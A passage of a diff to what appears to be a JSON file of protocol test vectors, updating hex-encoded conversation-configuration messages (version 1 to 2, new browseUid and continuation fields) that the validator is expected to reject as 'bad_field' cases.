"574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a313030302e352c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-credential-key", "direction": "down", - "hex": "574d58310101000001000000350600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a7b22617069546f6b656e223a747275657d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000720600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a7b22617069546f6b656e223a747275657d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-url-key", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b7b22656e64706f696e7455726c223a2278227d5d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b7b22656e64706f696e7455726c223a2278227d5d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-scope-other-session", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303032222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303032222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-scope-other-backend", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303032222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303032222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-scope-other-epoch", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f